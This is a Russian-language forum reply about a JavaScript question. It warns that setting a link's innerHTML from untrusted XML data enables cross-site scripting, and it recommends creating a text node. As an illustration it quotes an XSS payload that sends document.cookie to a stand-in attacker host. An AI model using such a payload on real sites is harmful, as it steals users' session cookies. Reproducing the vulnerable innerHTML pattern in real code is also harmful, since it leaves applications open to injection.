Re: Правильно ли я устанавливаю значения в коде js?
От: Centaur Россия  
Дата: 14.07.09 18:17
Оценка: 2 (1) +1
Здравствуйте, XJess, Вы писали:

XJ>2. Есть ссылка <a> с id="DataProvider", у которой нужно динамически задать то, что будет между <a> и </a> и значение href.

XJ>Пишу такой код:

XJ>var DataProviderName = // как-то получается из xml (не суть важно как)
XJ>if (DataProviderName != null)
XJ>    document.getElementById("DataProvider").innerHTML = DataProviderName;


Неправильно. Завтра прилетит DataProviderName = "<script>window.location='http://evil.site.com/?'+document.cookie&lt;/script&gt;", послезавтра в утренних газетах — «в сайте example.com обнаружена XSS-уязвимость».

Как правильно (пишу без тестирования, доработать напильником):

var a = document.getElementById("DataProvider");
if (0 == a.childNodes.length)
{
    a.appendChild(document.createTextNode(DataProviderName));
}
else
{
    a.firstChild.data = DataProviderName;
}
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.